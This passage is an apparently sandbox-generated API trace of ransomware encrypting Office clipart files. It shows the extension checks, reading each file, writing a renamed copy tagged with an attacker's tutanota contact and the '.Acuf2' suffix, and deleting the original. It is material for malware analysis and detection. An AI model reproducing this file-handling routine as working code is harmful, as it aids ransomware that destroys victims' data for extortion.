	[0260.004] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0260.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63
	[0260.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63
	[0260.004] lstrlenW (lpString=".doc") returned 4
	[0260.004] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0260.004] lstrlenW (lpString=".docx") returned 5
	[0260.004] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0260.004] lstrlenW (lpString=".pdf") returned 4
	[0260.004] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0260.004] lstrlenW (lpString=".xls") returned 4
	[0260.005] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0260.005] lstrlenW (lpString=".xlsx") returned 5
	[0260.005] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0260.005] lstrlenW (lpString=".ppt") returned 4
	[0260.005] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0260.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63
	[0260.005] lstrlenW (lpString=".zip") returned 4
	[0260.005] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0260.005] lstrlenW (lpString=".rar") returned 4
	[0260.005] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0260.005] lstrlenW (lpString=".bz2") returned 4
	[0260.005] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0260.005] lstrlenW (lpString=".7z") returned 3
	[0260.005] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0260.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63
	[0260.005] lstrlenW (lpString=".dbf") returned 4
	[0260.005] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0260.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63
	[0260.005] lstrlenW (lpString=".1cd") returned 4
	[0260.005] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0260.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63
	[0260.005] lstrlenW (lpString=".jpg") returned 4
	[0260.005] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0260.005] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0260.005] lstrlenW (lpString="DD00261_.WMF") returned 12
	[0260.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0260.006] GetFileSizeEx (in: hFile=0x274, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=37974) returned 1
	[0260.006] CloseHandle (hObject=0x274) returned 1
	[0260.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf")) returned 0x20
	[0260.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0260.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0260.006] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.006] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0260.126] GetLastError () returned 0x0
	[0260.126] ReadFile (in: hFile=0x274, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x9456, lpOverlapped=0x0) returned 1
	[0260.128] WriteFile (in: hFile=0x220, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x9460, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x9460, lpOverlapped=0x0) returned 1
	[0260.130] ReadFile (in: hFile=0x274, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0260.130] WriteFile (in: hFile=0x220, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0260.130] SetEndOfFile (hFile=0x220) returned 1
	[0260.130] CloseHandle (hObject=0x220) returned 1
	[0260.130] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.130] SetEndOfFile (hFile=0x274) returned 1
	[0260.133] CloseHandle (hObject=0x274) returned 1
	[0260.133] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0260.190] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf")) returned 1
	[0260.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63
	[0260.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63
	[0260.190] lstrlenW (lpString=".doc") returned 4
	[0260.190] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0260.190] lstrlenW (lpString=".docx") returned 5
	[0260.190] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0260.190] lstrlenW (lpString=".pdf") returned 4
	[0260.190] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0260.190] lstrlenW (lpString=".xls") returned 4
	[0260.191] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0260.191] lstrlenW (lpString=".xlsx") returned 5
	[0260.191] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0260.191] lstrlenW (lpString=".ppt") returned 4
	[0260.191] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0260.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63
	[0260.191] lstrlenW (lpString=".zip") returned 4
	[0260.191] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0260.191] lstrlenW (lpString=".rar") returned 4
	[0260.191] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0260.191] lstrlenW (lpString=".bz2") returned 4
	[0260.191] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0260.191] lstrlenW (lpString=".7z") returned 3
	[0260.191] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0260.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63
	[0260.191] lstrlenW (lpString=".dbf") returned 4
	[0260.191] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0260.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63
	[0260.191] lstrlenW (lpString=".1cd") returned 4
	[0260.191] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0260.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63
	[0260.191] lstrlenW (lpString=".jpg") returned 4
	[0260.191] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0260.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63
	[0260.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63
	[0260.191] lstrlenW (lpString=".doc") returned 4
	[0260.191] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0260.191] lstrlenW (lpString=".docx") returned 5
	[0260.191] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0260.191] lstrlenW (lpString=".pdf") returned 4
	[0260.191] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0260.192] lstrlenW (lpString=".xls") returned 4
	[0260.192] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0260.192] lstrlenW (lpString=".xlsx") returned 5
	[0260.192] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0260.192] lstrlenW (lpString=".ppt") returned 4
	[0260.192] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0260.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63
	[0260.192] lstrlenW (lpString=".zip") returned 4
	[0260.192] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0260.192] lstrlenW (lpString=".rar") returned 4
	[0260.192] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0260.192] lstrlenW (lpString=".bz2") returned 4
	[0260.192] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0260.192] lstrlenW (lpString=".7z") returned 3
	[0260.192] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0260.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63
	[0260.192] lstrlenW (lpString=".dbf") returned 4
	[0260.192] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0260.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63
	[0260.192] lstrlenW (lpString=".1cd") returned 4
	[0260.192] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0260.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63
	[0260.192] lstrlenW (lpString=".jpg") returned 4
	[0260.192] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0260.192] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0260.192] lstrlenW (lpString="DD00414_.WMF") returned 12
	[0260.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0260.193] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=42908) returned 1
	[0260.193] CloseHandle (hObject=0x220) returned 1
	[0260.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf")) returned 0x20
	[0260.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0260.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0260.193] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.193] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0260.194] GetLastError () returned 0x0
	[0260.194] ReadFile (in: hFile=0x220, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0xa79c, lpOverlapped=0x0) returned 1
	[0260.200] WriteFile (in: hFile=0x35c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xa7a0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xa7a0, lpOverlapped=0x0) returned 1
	[0260.201] ReadFile (in: hFile=0x220, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0260.201] WriteFile (in: hFile=0x35c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0260.202] SetEndOfFile (hFile=0x35c) returned 1
	[0260.614] CloseHandle (hObject=0x35c) returned 1
	[0260.661] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.661] SetEndOfFile (hFile=0x220) returned 1
	[0260.664] CloseHandle (hObject=0x220) returned 1
	[0260.664] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0260.665] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf")) returned 1
	[0260.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63
	[0260.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63
	[0260.665] lstrlenW (lpString=".doc") returned 4
	[0260.665] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0260.665] lstrlenW (lpString=".docx") returned 5
	[0260.665] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0260.665] lstrlenW (lpString=".pdf") returned 4
	[0260.665] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0260.665] lstrlenW (lpString=".xls") returned 4
	[0260.665] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0260.665] lstrlenW (lpString=".xlsx") returned 5
	[0260.665] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0260.666] lstrlenW (lpString=".ppt") returned 4
	[0260.666] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0260.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63
	[0260.666] lstrlenW (lpString=".zip") returned 4
	[0260.666] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0260.666] lstrlenW (lpString=".rar") returned 4
	[0260.666] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0260.666] lstrlenW (lpString=".bz2") returned 4
	[0260.666] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0260.666] lstrlenW (lpString=".7z") returned 3
	[0260.666] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0260.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63
	[0260.666] lstrlenW (lpString=".dbf") returned 4
	[0260.666] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0260.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63
	[0260.666] lstrlenW (lpString=".1cd") returned 4
	[0260.666] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0260.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63
	[0260.666] lstrlenW (lpString=".jpg") returned 4
	[0260.666] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0260.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63
	[0260.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63
	[0260.666] lstrlenW (lpString=".doc") returned 4
	[0260.666] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0260.666] lstrlenW (lpString=".docx") returned 5
	[0260.666] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0260.666] lstrlenW (lpString=".pdf") returned 4
	[0260.666] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0260.666] lstrlenW (lpString=".xls") returned 4
	[0260.666] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0260.666] lstrlenW (lpString=".xlsx") returned 5
	[0260.667] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0260.667] lstrlenW (lpString=".ppt") returned 4
	[0260.667] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0260.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63
	[0260.667] lstrlenW (lpString=".zip") returned 4
	[0260.667] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0260.667] lstrlenW (lpString=".rar") returned 4
	[0260.667] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0260.667] lstrlenW (lpString=".bz2") returned 4
	[0260.667] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0260.667] lstrlenW (lpString=".7z") returned 3
	[0260.667] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0260.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63
	[0260.667] lstrlenW (lpString=".dbf") returned 4
	[0260.667] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0260.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63
	[0260.667] lstrlenW (lpString=".1cd") returned 4
	[0260.667] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0260.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63
	[0260.667] lstrlenW (lpString=".jpg") returned 4
	[0260.667] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0260.667] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0260.667] lstrlenW (lpString="DD00705_.WMF") returned 12
	[0260.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0260.668] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=24588) returned 1
	[0260.668] CloseHandle (hObject=0x220) returned 1
	[0260.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf")) returned 0x20
	[0260.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0260.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0260.669] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.669] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0260.670] GetLastError () returned 0x0
	[0260.670] ReadFile (in: hFile=0x220, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x600c, lpOverlapped=0x0) returned 1
	[0260.672] WriteFile (in: hFile=0x35c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x6010, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x6010, lpOverlapped=0x0) returned 1
	[0260.673] ReadFile (in: hFile=0x220, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0260.673] WriteFile (in: hFile=0x35c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0260.673] SetEndOfFile (hFile=0x35c) returned 1
	[0260.673] CloseHandle (hObject=0x35c) returned 1
	[0260.673] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.673] SetEndOfFile (hFile=0x220) returned 1
	[0260.675] CloseHandle (hObject=0x220) returned 1
	[0260.676] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0260.676] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf")) returned 1
	[0260.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63
	[0260.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63
	[0260.676] lstrlenW (lpString=".doc") returned 4
	[0260.676] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0260.676] lstrlenW (lpString=".docx") returned 5
	[0260.676] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0260.676] lstrlenW (lpString=".pdf") returned 4
	[0260.676] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0260.676] lstrlenW (lpString=".xls") returned 4
	[0260.676] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0260.676] lstrlenW (lpString=".xlsx") returned 5
	[0260.676] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0260.676] lstrlenW (lpString=".ppt") returned 4
	[0260.676] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0260.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63
	[0260.676] lstrlenW (lpString=".zip") returned 4
	[0260.676] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0260.676] lstrlenW (lpString=".rar") returned 4
	[0260.676] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0260.676] lstrlenW (lpString=".bz2") returned 4
	[0260.676] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0260.676] lstrlenW (lpString=".7z") returned 3
	[0260.677] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0260.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63
	[0260.677] lstrlenW (lpString=".dbf") returned 4
	[0260.677] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0260.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63
	[0260.677] lstrlenW (lpString=".1cd") returned 4
	[0260.677] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0260.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63
	[0260.677] lstrlenW (lpString=".jpg") returned 4
	[0260.677] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0260.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63
